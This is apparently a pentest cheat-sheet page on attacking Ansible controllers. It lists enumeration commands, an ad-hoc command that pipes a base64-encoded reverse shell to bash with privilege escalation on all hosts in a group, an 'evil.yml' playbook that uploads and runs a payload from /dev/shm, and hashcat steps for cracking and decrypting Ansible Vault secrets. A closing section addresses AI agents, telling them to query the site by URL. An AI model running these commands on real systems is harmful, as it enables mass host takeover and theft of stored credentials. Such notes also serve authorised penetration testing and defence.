# Ansible

## Enumeration

When on ansible controller:

```
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version
```

## Execute Code

Using ad-hoc commands:

```
$ ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become
```

Playbook example:

{% code title="evil.yml" %}

```yaml
# ansible-playbook evil.yml
- name: Evil playbook
  hosts: all
  gather_facts: true
  tasks:
    - name: upload
      copy:
        src: /tmp/met
        dest: /dev/shm/met
        mode: a+x
    - name: execute
      shell: "nohup /dev/shm/met &"
      async: 10
      poll: 0
```

{% endcode %}

## Crack the Vault

When vault-encrypted creds are discovered, the vault passwords can be cracked with hashcat:

```
$ /usr/share/john/ansible2john.py vuln.yaml > vault.in
$ hashcat -m 16900 -O -a 0 -w 3 --session=vault -o vault.out vault.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

The original password can then be decrypted with ansible:

```
$ cat vault.in
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000

$ cat vault.in | ansible-vault decrypt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/devops/ansible.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
